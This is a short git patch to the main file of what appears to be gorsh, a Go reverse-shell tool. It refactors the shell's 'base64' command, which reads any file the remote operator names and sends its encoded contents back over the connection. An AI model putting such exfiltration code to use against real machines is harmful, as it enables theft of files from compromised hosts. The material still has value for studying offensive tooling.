From 000f33dc2ccfc511e112735fa48422b1e4e4d12d Mon Sep 17 00:00:00 2001 From: Alex Flores Date: Wed, 12 Sep 2018 18:25:25 -0400 Subject: [PATCH] remove b64 function and use inline --- cmd/gorsh/main.go | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/cmd/gorsh/main.go b/cmd/gorsh/main.go index 52f04ab..37df927 100644 --- a/cmd/gorsh/main.go +++ b/cmd/gorsh/main.go @@ -33,14 +33,6 @@ var ( fingerPrint string ) -func Encode(path string) (string, error) { - buff, err := ioutil.ReadFile(path) - if err != nil { - return "", err - } - return base64.StdEncoding.EncodeToString(buff), err -} - func Send(conn net.Conn, msg string) { conn.Write([]byte("\n")) conn.Write([]byte(msg)) @@ -146,8 +138,8 @@ func InteractiveShell(conn net.Conn) { if len(argv) != 2 { Send(conn, "Usage: base64 ") } else { - base64, err := Encode(argv[1]) - + buffer, err := ioutil.ReadFile(argv[1]) + base64 := base64.StdEncoding.EncodeToString(buffer) if err != nil { Send(conn, err.Error()) } else {